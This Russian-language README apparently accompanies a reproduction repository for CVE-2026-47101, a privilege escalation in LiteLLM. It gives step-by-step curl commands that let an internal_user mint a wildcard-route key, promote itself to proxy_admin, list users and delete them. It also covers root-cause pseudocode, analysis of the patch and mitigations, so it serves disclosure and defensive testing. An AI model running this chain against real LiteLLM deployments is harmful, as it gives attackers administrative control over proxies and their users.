CVE-2026-47101 — Повышение привилегий в LiteLLM через /key/generate + /user/update

LiteLLM версии v1.82.6 (до v1.83.14) эндпоинт /key/generate позволяет малопривилегированному internal_user запросить API-ключ с wildcard-маршрутом ["/*"], а затем через эндпоинт /user/update повысить свою роль до proxy_admin, реализуя несанкционированное повышение привилегий.

Описание

Эндпоинт /key/generate в LiteLLM используется для генерации API-ключей, а /user/update — для обновления атрибутов пользователя. В проверках авторизации этих двух эндпоинтов существуют три последовательных дефекта, которые могут быть использованы малопривилегированным пользователем в цепочке:

1. /key/generate не проверяет allowed_routes — любая роль (включая internal_user) может запросить wildcard-маршрут ["/*"]
2. Проверка маршрута откатывается на сопоставление wildcard в allowed_routes — сгенерированный wildcard-ключ получает доступ ко всем административным эндпоинтам
3. /user/update позволяет самому изменять поле user_role — используя wildcard-ключ, можно повысить свою роль до proxy_admin

Цепочка атаки

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  получение wildcard API-ключа
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  повышение роли до proxy_admin
  →  GET  /user/list     (используя wildcard-ключ)
  →  подтверждение административного доступа

Proof of Concept

Подготовка окружения

# 1. Запуск PostgreSQL + уязвимой версии LiteLLM (v1.82.6, фиксированный digest)
docker compose up -d litellm

# Ожидание готовности сервиса (около 10–30 секунд)
sleep 15

Проверка работы сервиса

# Просмотр логов контейнера
docker logs litellm-privesc 2>&1 | tail -10

Ожидаемый вывод должен содержать строки об успешном запуске, например Uvicorn running on http://0.0.0.0:4000.

Шаг 1: Создание учётной записи internal_user

Используйте master key для создания малопривилегированной учётной записи internal_user:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Ожидаемый вывод:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Запомните возвращённые user_id и key — они понадобятся на следующих шагах.

Шаг 2: Генерация API-ключа с wildcard-маршрутом

Вызовите /key/generate от имени internal_user, запросив ключ с wildcard-маршрутом ["/*"]:

# Замените sk-internal-user-key на ключ, полученный на предыдущем шаге
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Ожидаемый вывод:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Уязвимость: internal_user успешно сгенерировал ключ с wildcard-маршрутом ["/*"]! Этот ключ может получить доступ ко всем административным эндпоинтам, включая /user/update, /user/list и другие.

Шаг 3: Повышение привилегий до proxy_admin

Используя wildcard-ключ, вызовите /user/update для изменения роли пользователя на proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Ожидаемый вывод:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Уязвимость: user_role изменён с internal_user на proxy_admin! Эндпоинт /user/update позволяет пользователю изменять собственное поле user_role без каких-либо ограничений.

Шаг 4: Подтверждение административного доступа

Проверьте, что повышение роли сработало, через эндпоинт /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Ожидаемый вывод:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Эндпоинт /user/list доступен только для роли proxy_admin. Успешное получение списка пользователей подтверждает, что повышение привилегий сработало.

Шаг 5: Расширение — удаление административного пользователя

Используя полученные права proxy_admin, можно удалить любого пользователя через /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Ожидаемый вывод:

1

Одношаговое воспроизведение

Все шаги объединены в скрипт demo.sh, его можно выполнить напрямую:

# Полное воспроизведение (шаги 1–5)
bash demo.sh

# Одновременное тестирование исправленной версии
bash demo.sh --fixed

Проверка исправленной версии

Запустите исправленную версию (v1.83.14-stable), чтобы убедиться, что уязвимость устранена:

# Запуск исправленной версии
docker compose --profile fixed up -d litellm-fixed

# Ожидание готовности
sleep 15

Создайте internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Попробуйте сгенерировать ключ с wildcard-маршрутом (ожидается блокировка):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Ожидаемый вывод (исправленная версия блокирует несанкционированный запрос):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Сравнение с уязвимой версией:

Уязвимые эндпоинты

POST /key/generate

Генерирует новый API-ключ. Параметр allowed_routes ограничивает список маршрутов, к которым имеет доступ ключ.

POST /user/update

Обновляет атрибуты пользователя, включая поле user_role.

Техника эксплуатации

Шаг 1: Генерация API-ключа с wildcard-маршрутом

От имени internal_user вызовите /key/generate с запросом ключа с ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

В ответе будет новый API-ключ с правами wildcard-маршрута.

Шаг 2: Повышение роли до proxy_admin

Используя wildcard-ключ, вызовите /user/update:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Шаг 3: Подтверждение административных прав

GET /user/list
Authorization: Bearer sk-wildcard-key

Анализ первопричины

Уязвимость вызвана тремя независимыми отсутствиями проверок авторизации:

1. /key/generate — отсутствие проверки роли для allowed_routes

Эндпоинт /key/generate принимает параметр allowed_routes и напрямую связывает его с ключом, не проверяя роль запрашивающего. Даже internal_user может запросить маршруты уровня администратора.

# Уязвимый псевдокод — проверка роли отсутствует
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # Проверяется только валидность API-ключа
    # Не проверяется, разрешено ли user_role запрашивать allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. Авторизация маршрута откатывается на сопоставление wildcard в allowed_routes

Middleware при проверке прав доступа к маршруту, если проверка на уровне роли пользователя не проходит, откатывается к проверке списка allowed_routes API-ключа. Поскольку ["/*"] соответствует всем маршрутам, все административные эндпоинты становятся доступными.

# Уязвимый псевдокод — логика отката при проверке маршрута
async def authorize_request(request, api_key):
    # Если проверка роли пользователя не прошла, откатываемся к allowed_routes
    if not user_role_authorized(request, api_key.user):
        # Проверка allowed_routes — ["/*"] соответствует всем
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — разрешено самому изменять user_role

Эндпоинт /user/update при обновлении атрибутов пользователя позволяет пользователю изменять собственное поле user_role без каких-либо ограничений. Только роль proxy_admin должна иметь право изменять роли пользователей.

# Уязвимый псевдокод — user_role не ограничен
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # проверка прав отсутствует!
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Анализ патча (v1.83.14)

Исправленная версия добавляет проверки авторизации в трёх аспектах:

1. /key/generate — добавлена проверка параметра allowed_routes: обычные пользователи не могут запрашивать маршруты уровня администратора
2. Авторизация маршрутов — исправлена логика отката, теперь проверка роли пользователя имеет приоритет над allowed_routes
3. /user/update — ограничено изменение поля user_role: только proxy_admin может менять роли пользователей

Структура репозитория

CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Меры по смягчению

1. Обновитесь до LiteLLM v1.83.14+ (исправлены проверки авторизации)
2. Ограничьте привилегии API-ключей — применяйте принцип минимальных прав для allowed_routes
3. Проверьте существующих пользователей и ключи на признаки повышения привилегий
4. Отслеживайте вызовы /user/update с изменениями user_role на предмет аномальной активности

Ссылки

• NVD Detail
• GitHub Security Advisory
• Obsidian Security Advisory

Отказ от ответственности: Данный материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.